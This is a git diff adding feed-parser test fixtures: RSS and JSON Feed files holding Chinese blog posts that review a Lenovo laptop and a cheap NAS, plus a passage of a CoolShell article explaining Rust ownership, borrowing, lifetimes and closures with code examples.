    C面,键盘说实话一般般,键程非常短,第一次接触打字倒是不会误按,肯定没有普通键盘舒服,临时用用够了。触摸板好像我记得是玻璃的,左下和右下可以按,非常舒服。加钱可以买一个官方的智能数字小键盘贴在上面。

    +

    +

    D面,没啥看的,摸了一下应该是塑料的。

    +

    +

    两侧,接口比较少,因为机身薄,放不下HDMI或网线接口。USB只有一个,我暂时插上无线鼠标的适配器了,其他的接口只能买扩展坞。个人买了海备思的9合1拓展坞,够我个人使用了。

    +

    +

    +

    如果不知道买哪款扩展坞可以看少数派的一期视频:https://sspai.com/post/56761

    +
    +

    系统

    +

    设置过程没截图和拍摄,Win10也没什么好看的,夸父这个壁纸挺好看的。小新支持Windows Hello开机,用前置摄像头人脸识别就能开机。Windows Hello识别性一般,脱下或戴上眼镜就不认识你了,感人!

    +

    还有个小新的特色是开盖自动开机,非常方便,如果不需要可以到BIOS里关掉。

    +

    内置免费的Office 2019家庭和学生版、联想定制浏览器、联想安全管家、迈克菲定制杀毒软件。

    +

    晒个关于电脑截图吧

    +

    +

    细节屏幕,还可以,很清晰,色彩也不错。

    +

    全屏看视频也不错,扬声器我听应该在B和C面接触的地方,总体够用,系统还会安装一个杜比音效软件,指望好的音频体验肯定满足不了。

    +

    +

    拆机图

    +

    双风扇散热,图片选自《笔吧评测室》微信公众号

    +

    可以到这个链接查看笔吧的测试图文:《聊一聊AMD阵营的“性价比之王”》

    +

    +

    个人使用体验

    +

    整机重量有点份量,也比以前动不动2kg出头的笔记本好很多。13.3英寸也比较小,定位于办公轻薄,肯定够用了,太大了不方便,全面屏提升屏占比就算是看视频也足够使用。

    +

    系统开机分成两个分区,C盘100GB,其他是数据分区,512GB办公轻量够用了。

    +

    个人测试PS、AI 2020版,处理基本的平面设计还是够用的,例如出门在外,该死的甲方让你改个图。。。Office完全不卡,这要是带不动也太失败了。打游戏我个人测试在平衡模式下,LOL中等画质(1080P,我想开2K,但是这个屏幕大小配上这个分辨率字都看不清)完全不卡,迫于我没找到帧数显示在哪开,所以这个就不写了。。。打游戏过程中风扇声音尚可,不至于开直升机。整机发热基本都在左侧。

    +

    小新笔记本支持性能模式调节,Fn+Q可以开启节能、智能、野兽,野兽模式就是CPU满载至35W 3.7GHz,智能平衡满足日常需求,特殊情况再开野兽模式就行。

    +

    最后总结:满意!真香!

    +

    开箱后总结

    +

    如果最近想选择一款4000档位的轻薄本,小新13Pro基本是第一优选了,性价比很高。对与追求轻薄、一定性能的非常合适。

    +

    缺点是没有独立显卡,有需要上需要买英特尔版的,基本都带一个MX250独显;接口比较少,必需买拓展坞;屏幕稍小,需求大屏的不行。

    +

    开箱仅针对我个人的使用体验和使用需求,没有专业的测试,如果需要专业测试可以看其他媒体的测试。

    +

    如果有意入手可以看看官方B站号,里面也有官方自己的测评和一些使用技巧等:https://space.bilibili.com/386615477/

    +]]>
    + + https://www.zrj96.com/post-1387.html/feed + 3 + + +
    + + 矿渣——猫盘挖矿版开箱 + https://www.zrj96.com/post-1373.html + https://www.zrj96.com/post-1373.html#respond + + + Sat, 19 Oct 2019 10:17:08 +0000 + + + + + https://www.zrj96.com/?p=1373 + + +

    +

    这周得知一个矿渣论坛开放注册,又知道了猫盘,这个闲鱼上只卖50左右的NAS,反正不值钱就入手一个玩玩。

    +

    猫盘介绍

    +

    官网:http://www.maopan.io/

    +

    硬件配置:Marvell ARMADA 3700 双核1.0GHz+512MB DDR3L+8GB EMMC ROM,一个SATA3.0接口,可接一个2.5英寸机械硬盘。一个RJ45网线接口,一个电影接口。机身无电源键,可手动开头接线一个USB接口。

    +

    猫盘有什么亮点?

    +

    1、小巧不占地方,735g重量。

    +

    2、有群晖、X3P、Armbian、OpenWRT多种固件可刷,X3P和群晖的扩展性不用多说,下载、影音播放、存储、建站。。。

    +

    扩展:

    +

    OneSpace X3+,这个产品是英莱合创出品的私有云盘,配置几乎一模一样,唯一区别的事X3+带USB3接口。

    +

    3、省电低功耗,10W功耗。

    +

    4、高性价比。同样配置的群晖DS119j使用同款CPU,但是内存只有256MB,价格要在700+元,猫盘只需要50元左右。

    +

    猫盘开箱

    +

    1、包装盒

    +

    挖矿版,包装盒和机器的Mac、SN都对不上。。。

    +

    +

    2、电源插头和电源线

    +

    +

    3、机身正面

    +

    有一说一,猫盘这Logo设计的挺不错,简约好看

    +

    +

    4、接口

    +

    就两个,USB可以自己开壳接线,主板上有USB的针头。

    +

    +

    5、拆了看看内部

    +

    我这个脚垫已经没了,螺丝不大,但是特别深,可能我的螺丝刀也不合适,扭了半天终于拧下来了。

    +

    主板、多色LED灯、小风扇,主板上面插上硬盘固定螺丝就行了。

    +

    +

    开箱总结

    +

    总体性价比还不错,简单实用,当然跟专业NAS还是差点意思,不过胜在便宜啊,我们垃圾佬就是这样子。

    +

    刷机的话还在研究,教程在矿渣论坛 http://bbs.nas66.com/ 有很多,但是已经不开放注册了,有点蛋疼。我自己尝试刷X3P失败两次,也不知道为啥,其实还能救,但是不知道怎么救。也没个报错没个日志的,出了问题都不知道在哪,实在蛋疼。

    +

    最后我放弃了,我把我这个卖了,买了个刷好群晖的现成货。。。

    +

    还有就是猫盘分为黑螺版和CatDrive版。我自己的是CatDrive版,也能刷机,但是遇到不好的可能不好刷,可能我就是脸黑遇到了。黑螺版基本都能一键成功。

    +

    区分两个版本的方法就是看机器背面中部,有字母,黑螺版为Halos,CatDrive版就是CatDrive。

    +]]>
    + + https://www.zrj96.com/post-1373.html/feed + 0 + + +
    +
    +
    diff --git a/tests/feedlib/testdata/parser/warn/v2ex-jsonfeed-warning.json b/tests/feedlib/testdata/parser/warn/v2ex-jsonfeed-warning.json new file mode 100644 index 0000000..2e66836 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/v2ex-jsonfeed-warning.json @@ -0,0 +1,29 @@ +{ + "version": "https://jsonfeed.org/version/1", + "title": "JSON Feed", + "description": "\u7c7b\u4f3c RSS \u7684\u7ad9\u70b9\u5185\u5bb9\u4fe1\u606f\u6d41 JSON \u683c\u5f0f\u3002\u8fd9\u91cc\u8ba8\u8bba JSON Feed \u7684\u5b9e\u73b0\u53ca\u9605\u8bfb\u5668\u652f\u6301\u3002", + "home_page_url": "https://www.v2ex.com/go/jsonfeed", + "feed_url": "https://www.v2ex.com/feed/jsonfeed.json", + "icon": "https://cdn.v2ex.com/navatar/db57/6a7d/1054_large.png?m=1567059308", + "favicon": "https://cdn.v2ex.com/navatar/db57/6a7d/1054_normal.png?m=1567059308", + "items": [ + { + "id": "", + "title": "", + "date_published": "2020-01-31T15:05:16+00:00", + "content_html": "2020-01-31" + }, + { + "author": { + "url": "https://www.v2ex.com/member/DEVN", + "name": "DEVN", + "avatar": "https://cdn.v2ex.com/avatar/6fc1/cc76/467193_large.png?m=1583239760" + }, + "url": "https://www.v2ex.com/t/641290", + "title": "\u4ec0\u4e48\u63d2\u4ef6\u53ef\u4ee5\u505a\u5230 JSON \u683c\u5f0f\u5316/\u538b\u7f29/\u8fd8\u539f/\u8f6c 2JZ \u7684\uff1f", + "id": "https://www.v2ex.com/t/641290", + "date_published": "2020-01-31T15:05:16+00:00", + "content_html": "" + } + ] +} \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/well/coolshell-cn-feed.xml b/tests/feedlib/testdata/parser/well/coolshell-cn-feed.xml new file mode 100644 index 0000000..ebb5124 --- /dev/null +++ b/tests/feedlib/testdata/parser/well/coolshell-cn-feed.xml @@ -0,0 +1,3181 @@ + + + + 酷 壳 – CoolShell + + https://coolshell.cn + 享受编程和技术所带来的快乐 - Coding Your Ambition + Fri, 10 Apr 2020 03:41:55 +0000 + zh-CN + + hourly + + 1 + https://wordpress.org/?v=5.4 + + Rust语言的编程范式 + https://coolshell.cn/articles/20845.html + https://coolshell.cn/articles/20845.html#comments + + + Sat, 04 Apr 2020 14:48:23 +0000 + + + + + + https://coolshell.cn/?p=20845 + + Read More Read More

    ]]>
    + 总是有很多很多人来问我对Rust语言怎么看的问题,在各种地方被at,其实,我不是很想表达我的想法。因为在不同的角度,你会看到不同的东西。编程语言这个东西,老实说很难评价,在学术上来说,Lisp就是很好的语言,然而在工程使用的时候,你会发现Lisp没什么人用,而Javascript或是PHP这样在学术很糟糕设计的语言反而成了主流,你觉得C++很反人类,在我看来,C++有很多不错的设计,而且对于了解编程语言和编译器的和原理非常有帮助。但是C++也很危险,所以,出现在像Java或Go 语言来改善它,Rust本质上也是在改善C++的。他们各自都有各自的长处和优势

    +

    因为各个语言都有好有不好,因此,我不想用别的语言来说Rust的问题,或是把Rust吹成朵花以打压别的语言,写成这样的文章,是很没有营养的事。本文主要想通过Rust的语言设计来看看编程中的一些挑战,尤其是Rust重要的一些编程范式,这样反而更有意义一些,因为这样你才可能一通百通

    +

    这篇文章的篇幅比较长,而且有很多代码,信息量可能会非常大,所以,在读本文前,你需要有如下的知识准备

    +
      +
    • 你对C++语言的一些特性和问题比较熟悉。尤其是:指针、引用、右值move、内存对象管理、泛型编程、智能指针……
    • +
    • 当然,你还要略懂Rust,不懂也没太大关系,但本文不会是Rust的教程文章,可以参看“Rust的官方教程”(中文版
    • +
    +

    因为本文太长,所以,我有必要写上 TL;DR ——

    +

    +

    Java 与 Rust 在改善C/C++上走了完全不同的两条路,他们主要改善的问题就是C/C++ Safety的问题。所谓C/C++编程安全上的问题,主要是:内存的管理、数据在共享中出现的“野指针”、“野引用”的问题。

    +
      +
    • 对于这些问题,Java用引用垃圾回收再加上强大的VM字节码技术可以进行各种像反射、字节码修改的黑魔法。
    • +
    • 而Rust不玩垃圾回收,也不玩VM,所以,作为静态语言的它,只能在编译器上下工夫。如果要让编译器能够在编译时检查出一些安全问题,那么就需要程序员在编程上与Rust语言有一些约定了,其中最大的一个约定规则就是变量的所有权问题,并且还要在代码上“去糖”,比如让程序员说明一些共享引用的生命周期。
    • +
    • Rust的这些所有权的约定造成了很大的编程上的麻烦,写Rust的程序时,基本上来说,你的程序再也不要想可能轻轻松松能编译通过了。而且,在面对一些场景的代码编写时,如:函数式的闭包,多线程的不变数据的共享,多态……开始变得有些复杂,并会让你有种找不到北的感觉。
    • +
    • Rust的Trait很像Java的接口,通过Trait可以实现C++的拷贝构造、重载操作符、多态等操作……
    • +
    • 学习Rust的学习曲线并不平,用Rust写程序,基本上来说,一旦编译通过,代码运行起来是安全的,bug也是很少的。
    • +
    +

    如果你对Rust的概念认识的不完整,你完全写不出程序,那怕就是很简单的一段代码这逼着程序员必需了解所有的概念才能编码。但是,另一方面也表明了这门语言并不适合初学者……

    +

    变量的可变性

    +

    首先,Rust里的变量声明默认是“不可变的”,如果你声明一个变量 let x = 5;  变量 x 是不可变的,也就是说,x = y + 10; 编译器会报错的。如果你要变量的话,你需要使用 mut 关键词,也就是要声明成 let mut x = 5; 表示这是一个可以改变的变量。这个是比较有趣的,因为其它主流语言在声明变量时默认是可变的,而Rust则是要反过来。这可以理解,不可变的通常来说会有更好的稳定性,而可变的会代来不稳定性。所以,Rust应该是想成为更为安全的语言,所以,默认是 immutable 的变量。当然,Rust同样有 const 修饰的常量。于是,Rust可以玩出这么些东西来:

    +
      +
    • 常量:const LEN:u32 = 1024; 其中的 LEN 就是一个u32 的整型常量(无符号32位整型),是编译时用到的。
    • +
    • 可变的变量: let mut x = 5; 这个就跟其它语言的类似, 在运行时用到。
    • +
    • 不可变的变量:let x= 5; 对这种变量,你无论修改它,但是,你可以使用 let x = x + 10; 这样的方式来重新定义一个新的 x。这个在Rust里叫 Shadowing ,第二个 x  把第一个 x 给遮蔽了。
    • +
    +

    不可变的变量对于程序的稳定运行是有帮助的,这是一种编程“契约”,当处理契约为不可变的变量时,程序就可以稳定很多,尤其是多线程的环境下,因为不可变意味着只读不写,其他好处是,与易变对象相比,它们更易于理解和推理,并提供更高的安全性。有了这样的“契约”后,编译器也很容易在编译时查错了。这就是Rust语言的编译器的编译期可以帮你检查很多编程上的问题。

    +

    对于标识不可变的变量,在 C/C++中我们用const ,在Java中使用 final ,在 C#中使用 readonly ,Scala用 val ……(在Javascript 和Python这样的动态语言中,原始类型基本都是不可变的,而自定义类型是可变的)。

    +

    对于Rust的Shadowing,我个人觉得是比较危险的,在我的职业生涯中,这种使用同名变量(在嵌套的scope环境下)带来的bug还是很不好找的。一般来说,每个变量都应该有他最合适的名字,最好不要重名。

    +

    变量的所有权

    +

    这个是Rust这个语言中比较强调的一个概念。其实,在我们的编程中,很多情况下,都是把一个对象(变量)传递过来传递过去,在传递的过程中,传的是一份复本,还是这个对象本身,也就是所谓的“传值还是传引用”的被程序员问得最多的问题。

    +
      +
    • 传递副本(传值)。把一个对象的复本传到一个函数中,或是放到一个数据结构容器中,可能需要出现复制的操作,这个复制对于一个对象来说,需要深度复制才安全,否则就会出现各种问题。而深度复制就会导致性能问题。
    • +
    • 传递对象本身(传引用)。传引用也就是不需要考虑对象的复制成本,但是需要考虑对象在传递后,会多个变量所引用的问题。比如:我们把一个对象的引用传给一个List或其它的一个函数,这意味着,大家对同一个对象都有控制权,如果有一个人释放了这个对象,那边其它人就遭殃了,所以,一般会采用引用计数的方式来共享一个对象。引用除了共享的问题外,还有作用域的问题,比如:你从一个函数的栈内存中返回一个对象的引用给调用者,调用者就会收到一个被释放了个引用对象(因为函数结束后栈被清了)。
    • +
    +

    这些东西在任何一个编程语言中都是必需要解决的问题,要足够灵活到让程序员可以根据自己的需要来写程序。

    +

    在C++中,如果你要传递一个对象,有这么几种方式:

    +
      +
    • 引用或指针。也就是不建复本,完全共享,于是,但是会出现悬挂指针(Dangling Pointer)又叫野指针的问题,也就是一个指针或引用指向一块废弃的内存。为了解决这个问题,C++的解决方案是使用 share_ptr 这样的托管类来管理共享时的引用计数。
    • +
    • 传递复本,传递一个拷贝,需要重载对象的“拷贝构造函数”和“赋值构造函数”。
    • +
    • 移动Move。C++中,为了解决一些临时对象的构造的开销,可以使用Move操作,把一个对象的所有权移动到给另外一个对象,这个解决了C++中在传递对象时的会产生很多临时对象来影响性能的情况。
    • +
    +

    C++的这些个“神操作”,可以让你非常灵活地在各种情况下传递对象,但是也提升整体语言的复杂度。而Java直接把C/C++的指针给废了,用了更为安全的引用 ,然后为了解决多个引用共享同一个内存,内置了引用计数和垃圾回收,于是整个复杂度大大降低。对于Java要传对象的复本的话,需要定义一个通过自己构造自己的构造函数,或是通过prototype设计模式的 clone() 方法来进行,如果你要让Java解除引用,需要明显的把引用变量赋成 null 。总之,无论什么语言都需要这对象的传递这个事做好,不然,无法提供相对比较灵活编程方法。

    +

    在Rust中,Rust强化了“所有权”的概念,下面是Rust的所有者的三大铁律:

    +
      +
    1. Rust 中的每一个值都有一个被称为其 所有者(owner)的变量。
    2. +
    3. 值有且只有一个所有者。
    4. +
    5. 当所有者(变量)离开作用域,这个值将被丢弃。
    6. +
    +

    这意味着什么?

    +

    如果你需要传递一个对象的复本,你需要给这个对象实现 Copy trait ,trait 怎么翻译我也不知道,你可以认为是一个对象的一些特别的接口(可以用于一些对像操作上的约定,比如:Copy 用于复制(类型于C++的拷贝构造和赋值操作符重载),Display 用于输出(类似于Java的 toString()),还有 Drop 和操作符重载等等,当然,也可以是对象的方法,或是用于多态的接口定义,后面会讲)。

    +

    对于内建的整型、布尔型、浮点型、字符型、多元组都被实现了 Copy 所以,在进行传递的时候,会进行memcpy 这样的复制(bit-wise式的浅拷贝)。而对于对象来说,则不行,在Rust的编程范式中,需要使用的是 Clone trait。

    +

    于是,CopyClone 这两个相似而又不一样的概念就出来了,Copy 主要是给内建类型,或是由内建类型全是支持 Copy 的对象,而 Clone 则是给程序员自己复制对象的。嗯,这就是浅拷贝和深拷贝的差别,Copy 告诉编译器,我这个对象可以进行 bit-wise的复制,而 Clone 则是指深度拷贝。

    +

    String 这样的内部需要在堆上分布内存的数据结构,是没有实现Copy 的(因为内部是一个指针,所以,语义上是深拷贝,浅拷贝会招至各种bug和crash),需要复制的话,必需手动的调用其 clone() 方法,如果不这样的的话,当在进行函数参数传递,或是变量传递的时候,所有权一下就转移了,而之前的变量什么也不是了(这里编译器会帮你做检查有没有使用到所有权被转走的变量)。这个相当于C++的Move语义。

    +

    参看下面的示例,你可能对Rust自动转移所有权会有更好的了解(代码中有注释了,我就不多说了)。

    +
    // takes_ownership 取得调用函数传入参数的所有权,因为不返回,所以变量进来了就出不去了
    +fn takes_ownership(some_string: String) {
    +    println!("{}", some_string);
    +} // 这里,some_string 移出作用域并调用 `drop` 方法。占用的内存被释放
    +
    +// gives_ownership 将返回值移动给调用它的函数
    +fn gives_ownership() -> String {
    +    let some_string = String::from("hello"); // some_string 进入作用域.
    +    some_string // 返回 some_string 并移出给调用的函数
    +}
    +
    +// takes_and_gives_back 将传入字符串并返回该值
    +fn takes_and_gives_back(mut a_string: String) -> String {
    +    a_string.push_str(", world");
    +    a_string  // 返回 a_string 将所有权移出给调用的函数
    +}
    +
    +fn main()
    +{
    +    // gives_ownership 将返回值移给 s1
    +    let s1 = gives_ownership();
    +    // 所有权转给了 takes_ownership 函数, s1 不可用了
    +    takes_ownership(s1);
    +    // 如果编译下面的代码,会出现s1不可用的错误
    +    // println!("s1= {}", s1);
    +    //                    ^^ value borrowed here after move
    +    let s2 = String::from("hello");// 声明s2
    +    // s2 被移动到 takes_and_gives_back 中, 它也将返回值移给 s3。
    +    // 而 s2 则不可用了。
    +    let s3 = takes_and_gives_back(s2);
    +    //如果编译下面的代码,会出现可不可用的错误
    +    //println!("s2={}, s3={}", s2, s3);
    +    //                         ^^ value borrowed here after move
    +    println!("s3={}", s3);
    +}
    +
    +

    这样的 Move 的方式,在性能上和安全性上都是非常有效的,而Rust的编译器会帮你检查出使用了所有权被move走的变量的错误。而且,我们还可以从函数栈上返回对象了,如下所示:

    +
    fn new_person() -> Person {
    +    let person = Person {
    +        name : String::from("Hao Chen"),
    +        age : 44,
    +        sex : Sex::Male,
    +        email: String::from("haoel@hotmail.com"),
    +    };
    +    return person;
    +}
    +
    +fn main() {
    +   let p  = new_person();
    +}
    +
    +

    因为对象是Move走的,所以,在函数上 new_person() 上返回的 Person 对象是Move 语言,被Move到了 main() 函数中来,这样就没有性能上的问题了。而在C++中,我们需要把对象的Move函数给写出来才能做到。因为,C++默认是调用拷贝构造函数的,而不是Move的。

    +

    Owner语义带来的复杂度

    +

    Owner + Move 的语义也会带来一些复杂度。首先,如果有一个结构体,我们把其中的成员 Move 掉了,会怎么样。参看如下的代码:

    +
    #[derive(Debug)] // 让结构体可以使用 `{:?}`的方式输出
    +struct Person {
    +    name :String,
    +    email:String,
    +}
    +
    +let _name = p.name; // 把结构体 Person::name Move掉
    +println!("{} {}", _name, p.email); //其它成员可以正常访问
    +println!("{:?}", p); //编译出错 "value borrowed here after partial move"
    +p.name = "Hao Chen".to_string(); // Person::name又有了。
    +println!("{:?}", p); //可以正常的编译了
    +
    +

    上面这个示例,我们可以看到,结构体中的成员是可以被Move掉的,Move掉的结构实例会成为一个部分的未初始化的结构,如果需要访问整个结构体的成员,会出现编译问题。但是后面把 Person::name补上后,又可以愉快地工作了。

    +

    下面我们再看一个更复杂的示例——这个示例模拟动画渲染的场景,我们需要有两个buffer,一个是正在显示的,另一个是下一帧要显示的。

    +
    struct Buffer {
    +    buffer : String,
    +}
    +
    +struct Render {
    +    current_buffer : Buffer,
    +    next_buffer : Buffer,
    +}
    +//实现结构体 `Render` 的方法
    +impl Render { 
    +    //实现 update_buffer() 方法,
    +    //更新buffer,把 next 更新到 current 中,再更新 next
    +    fn update_buffer(& mut self, buf : String) {
    +        self.current_buffer = self.next_buffer;
    +        self.next_buffer = Buffer{ buffer: buf};
    +    }
    +}
    +
    +

    上面这段代码,我们写下来没什么问题,但是 Rust 编译不会让我们编译通过。它会告诉我们如下的错误:

    +
    error[E0507]: cannot move out of `self.next_buffer` which is behind a mutable reference
    +--> /.........../xxx.rs:18:31
    +|
    +14 | self.current_buffer = self.next_buffer;
    +|                          ^^^^^^^^^^^^^^^^ move occurs because `self.next_buffer` has type `Buffer`,
    +                                            which does not implement the `Copy` trait
    +

    编译器会提示你,Buffer 没有 Copy trait 方法。但是,如果你实现了 Copy 方法后,你又不能享受 Move 带来的性能上快乐了。于是,到这里,你开始进退两难了,完全不知道取舍了

    +
      +
    • Rust编译器不让我们在成员方法中把成员Move走,因为 self 引用就不完整了。
    • +
    • Rust要我们实现 Copy Trait,但是我们不想要拷贝,因为我们就是想把 next_buffer move 到 current_buffer
    • +
    +

    我们想要同时 Move 两个变量,参数 buf move 到 next_buffer 的同时,还要把 next_buffer 里的东西 move 到 current_buffer 中。 我们需要一个“杂耍”的技能。
    +

    +

    这个需要动用 std::mem::replace(&dest, src) 函数了, 这个函数技把 src 的值 move 到 dest 中,然后把 dest 再返回出来(这其中使用了 unsafe 的一些底层骚操作才能完成)。Anyway,最终是这样实现的:

    +
    use std::mem::replace
    +fn update_buffer(& mut self, buf : String) { 
    +  self.current_buffer = replace(&mut self.next_buffer, Buffer{buffer : buf}); 
    +}
    +

    不知道你觉得这样“杂耍”的代码看上去怎么以样?我觉得可读性下性一个数量级。

    +

    引用(借用)和生命周期

    +

    下面,我们来讲讲引用,因为把对象的所有权 Move 走了的情况,在一些时候肯定不合适,比如,我有一个 compare(s1: Student, s2: Student) -> bool 我想比较两个学生的平均份成绩, 我不想传复本,因为太慢,我也不想把所有权交进去,因为只是想计算其中的数据。这个时候,传引用就是一个比较好的选择,Rust同样支持传引用。只需要把上面的函数声明改成:compare(s1 :&Student, s2 : &Student) -> bool 就可以了,在调用的时候,compare (&s1, &s2);  与C++一致。在Rust中,这也叫“借用”(嗯,Rust发明出来的这些新术语,在语义上感觉让人更容易理解了,当然,也增加了学习的复杂度了)

    +
    引用(借用)
    +

    另外,如果你要修改这个引用对象,就需要使用“可变引用”,如:foo( s : &mut Student) 以及 foo( &mut s);另外,为了避免一些数据竞争需要进行数据同步的事,Rust严格规定了——在任意时刻,要么只能有一个可变引用,要么只能有多个不可变引用

    +

    这些严格的规定会导致程序员失去编程的灵活性,不熟悉Rust的程序员可能会在一些编译错误下会很崩溃,但是你的代码的稳定性也会提高,bug率也会降低。

    +

    另外,Rust为了解决“野引用”的问题,也就是说,有多个变量引用到一个对象上,还不能使用额外的引用计数来增加程序运行的复杂度。那么,Rust就要管理程序中引用的生命周期了,而且还是要在编译期管理,如果发现有引用的生命周期有问题的,就要报错。比如:

    +
    let r;
    +{
    +    let x = 10;
    +    r = &x;
    +}
    +println!("r = {}",r );
    +
    +

    上面的这段代码,程序员肉眼就能看到 x 的作用域比 r  小,所以导致 rprintln() 的时候 r 引用的 x 已经没有了。这个代码在C++中可以正常编译而且可以执行,虽然最后可以打出“内嵌作用域”的 x 的值,但其实这个值已经是有问题的了。而在 Rust 语言中,编译器会给出一个编译错误,告诉你,“x dropped here while still borrowed”,这个真是太棒了。

    +

    但是这中编译时检查的技术对于目前的编译器来说,只在程序变得稍微复杂一点,编译器的“失效引用”检查就不那么容易了。比如下面这个代码:

    +
    fn order_string(s1 : &str, s2 : &str) -> (&str, &str) {
    +    if s1.len() < s2.len() {
    +        return (s1, s2);
    +    }
    +    return (s2, s1);
    +}
    +
    +let str1 = String::from("long long long long string");
    +let str2 = "short string";
    +
    +let (long_str, short_str) = order_string(str1.as_str(), str2);
    +
    +println!(" long={} nshort={} ", long_str, short_str);
    +
    +

    我们有两个字符串,str1str2 我们想通过函数 order_string() 把这两个字串符返回成 long_strshort_str  这样方便后面的代码进行处理。这是一段很常见的处理代码的示例。然而,你会发现,这段代码编译不过。编译器会告诉你,order_string() 返回的 引用类型 &str 需要一个 lifetime的参数 – “ expected lifetime parameter”。这是因为Rust编译无法通过观察静态代码分析返回的两个引用返回值,到底是(s1, s2) 还是 (s2, s1) ,因为这是运行时决定的。所以,返回值的两个参数的引用没法确定其生命周期到底是跟 s1 还是跟 s2,这个时候,编译器就不知道了。

    +
    生命周期
    +

    如果你的代码是下面这个样子,编程器可以自己推导出来,函数 foo() 的参数和返回值都是一个引用,他们的生命周期是一样的,所以,也就可以编译通过。

    +
    fn foo (s: &mut String) -> &String {
    +    s.push_str("coolshell");
    +    s
    +}
    +
    +let mut s = "hello, ".to_string();
    +println!("{}", foo(&mut s))
    +
    +

    而对于传入多个引用,返回值可能是任一引用,这个时候编译器就犯糊涂了,因为不知道运行时的事,所以,就需要程序员来标注了。

    +
    fn long_string<'c>(s1 : &'c str, s2 : &'c str) -> (&'c str, &'c str) {
    +    if s1.len() > s2.len() {
    +        return (s1, s2);
    +    }
    +    return (s2, s1);
    +}
    +
    +

    上述的Rust的标注语法,用个单引号加一个任意字符串来标注('static除外,这是一个关键词,表示生命周期跟整个程序一样长),然后,说明返回的那两个引用的生命周期跟 s1s2 的生命周期相同,这个标注的目的就是把运行时的事变成了编译时的事。于是程序就可以编译通过了。(注:你也不要以为你可以用这个技术乱写生命周期,这只是一种“去语法糖操作”,是帮助编译器理解其中的生命周期,如果违反实际生命周期,编译器也是会拒绝编译的)

    +

    这里有两个说明,

    +
      +
    • 只要你玩引用,生命周期标识就会来了。
    • +
    • Rust编译器不知道运行时会发生什么事,所以,需要你来标注声明
    • +
    +

    我感觉,你现在开始有点头晕了吧?接下来,我们让你再晕一下。比如:如果你要在结构体中玩引用,那必需要为引用声明生命周期,如下所示:

    +
    // 引用 ref1 和 ref2 的生命周期与结构体一致
    +struct Test <'life> {
    +    ref_int : &'life i32,
    +    ref_str : &'life str,
    +}
    +
    +

    其中,生命周期标识 'life 定义在结构体上,被使用于其成员引用上。意思是声明规则——“结构体的生命周期 <= 成员引用的生命周期

    +

    然后,如果你要给这个结构实现两个 set 方法,你也得带上 lifetime 标识。

    +
    imp<'life> Test<'life> {
    +    fn set_string(&mut self, s : &'life str) {
    +        self.ref_str = s;
    +    }
    +    fn set_int(&mut self,  i : &'life i32) {
    +        self.ref_int = i;
    +    }
    +}
    +
    +

    在上面的这个示例中,生命周期变量 'life 声明在 impl 上,用于结构体和其方法的入参上。 意思是声明规则——“结构体方法的“引用参数”的生命周期 >= 结构体的生命周期

    +

    有了这些个生命周期的标识规则后,Rust就可以愉快地检查这些规则说明,并编译代码了。

    +

    闭包与所有权

    +

    这种所有权和引用的严格区分和管理,会影响到很多地方,下面我们来看一下函数闭包中的这些东西的传递。函数闭包又叫Closure,是函数式编程中一个不可或缺的东西,又被称为lambda表达式,基本上所有的高级语言都会支持。在 Rust 语言中,其闭包函数的表示是用两根竖线(| |)中间加传如参数进行定义。如下所示:

    +
    // 定义了一个 x + y 操作的 lambda f(x, y) = x + y;
    +let plus = |x: i32, y:i32| x + y; 
    +// 定义另一个lambda g(x) = f(x, 5)
    +let plus_five = |x| plus(x, 5); 
    +//输出
    +println!("plus_five(10)={}", plus_five(10) );
    +
    函数闭包
    +

    但是一旦加上了上述的所有权这些东西后,问题就会变得复杂开来。参看下面的代码。

    +
    struct Person {
    +    name : String,
    +    age : u8,
    +}
    +
    +fn main() {
    +    let p = Person{ name: "Hao Chen".to_string(), age : 44};
    +    //可以运行,因为 `u8` 有 Copy Trait
    +    let age = |p : Person| p.age; 
    +    // String 没有Copy Trait,所以,这里所有权就 Move 走了
    +    let name = |p : Person | p.name; 
    +    println! ("name={}, age={}" , name(p), age(p));
    +}
    +

    上面的代码无法编译通过,因为Rust编译器发现在调用 name(p) 的时候,p 的所有权被移走了。然后,我们想想,改成引用的版本,如下所示:

    +
    let age = |p : &Person| p.age;
    +let name = |p : &Person | &p.name;
    +
    +println! ("name={}, age={}" , name(&p), age(&p));
    +

    你会现在还是无法编译,报错中说:cannot infer an appropriate lifetime for borrow expression due to conflicting requirements

    +
    error[E0495]: cannot infer an appropriate lifetime for borrow expression due to conflicting requirements
    +  --> src/main.rs:11:31
    +   |
    +11 |     let name = |p : &Person | &p.name;
    +   |                               ^^^^^^^
    +

    然后你开始尝试加 lifetime,用尽各种Rust的骚操作(官方Github上的 #issue 58052),然后,还是无法让你的程序可以编译通过。最后,上StackOverflow 里寻找帮助,得到下面的正确写法(这个可能跟这个bug有关系:#issue 41078 )。但是这样的写法,已经让简洁的代码变得面目全非。

    +
    //下面的声明可以正确译
    +let name: for<'a> fn(&'a Person) -> &'a String = |p: &Person| &p.name;
    +

    上面的这种lifetime的标识也是很奇葩,通过定义一个函数类型来做相关的标注,但是这个函数类型,需要用到 for<'a> 关键字。你可能会很confuse这个关键字不是用来做循环的吗?嗯,Rust这种重用关键字的作法,我个人觉得带来了很多不必要的复杂度。总之,这样的声明代码,我觉得基本不会有人能想得到的——“去语法糖操作太严重了,绝大多数人绝对hold不住”!

    +

    最后,我们再来看另一个问题,下面的代码无法编译通过:

    +
    let s = String::from("coolshell");
    +let take_str = || s;
    +println!("{}", s); //ERROR
    +println!("{}",  take_str()); // OK
    +

    Rust的编译器会告诉你,take_str  把 s 的所有权给拿走了(因为需要作成返回值)。所以,后面的输出语句就用不到了。这里意味着:

    +
      +
    • 对于内建的类型,都实现了 Copy 的 trait,那么闭包执行的是 “借用”
    • +
    • 对于没有实现 Copy 的trait,在闭包中可以调用其方法,是“借用”,但是不能当成返回值,当成返回值了就是“移动”。
    • +
    +

    虽然有了这些“通常情况下是借用的潜规则”,但是还是不能满足一些情况,所以,还要让程序员可以定义 move 的“明规则”。下面的代码,一个有 move 一个没有move,他们的差别也不一样。

    +
    //-----------借用的情况-----------
    +let mut num = 5;
    +{
    +    let mut add_num = |x: i32| num += x;
    +    add_num(5);
    +}
    +println!("num={}", num); //输出 10
    +
    +//-----------Move的情况-----------
    +let mut num = 5;
    +{
    +    // 把 num(5)所有权给 move 到了 add_num 中,
    +    // 使用其成为闭包中的局部变量。
    +    let mut add_num = move |x: i32| num += x;
    +    add_num(5);
    +    println!("num(move)={}", num); //输出10
    +}
    +//因为i32实现了 `Copy`,所以,这里还可以访问
